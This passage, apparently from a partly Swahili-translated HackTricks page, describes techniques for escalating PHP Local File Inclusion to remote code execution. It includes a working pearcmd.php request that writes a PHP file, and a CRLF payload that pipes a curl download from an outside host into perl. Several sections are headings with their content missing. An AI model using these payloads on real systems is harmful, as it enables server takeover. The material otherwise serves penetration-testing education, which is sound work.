Kupitia temp file uploads in Windows
If you found a Local File Inclusion and and the server is running in Windows you might get RCE:
Kupitia pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Ifuatayo inatumia vuln ya CRLF kupata RCE (kutoka here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Kupitia phpinfo() (file_uploads = on)
Ikiwa umepata Local File Inclusion na faili inayoonyesha phpinfo() ambapo file_uploads = on unaweza kupata RCE:
Kupitia compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Ikiwa umepata Local File Inclusion na unaweza exfiltrate the path ya temp file LAKINI server inakagua kama file to be included has PHP marks, unaweza kujaribu bypass that check kwa kutumia Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Kupitia eternal waiting + bruteforce
Ikiwa unaweza kutumia LFI kuupload temporary files na kufanya server iangushe utekelezaji wa PHP, basi unaweza kisha brute force filenames during hours ili kupata temporary file:
Kwa Fatal Error
Ikiwa ujumuisha yoyote ya faili /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Unahitaji kujumuisha ile ile mara 2 ili kusababisha hitilafu hiyo).
Sijui jinsi hii inavyoweza kuwa muhimu lakini inaweza kuwa.
Hata ukisababisha PHP Fatal Error, PHP temporary files zilizopakiwa zinafutwa.
.png)
References
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.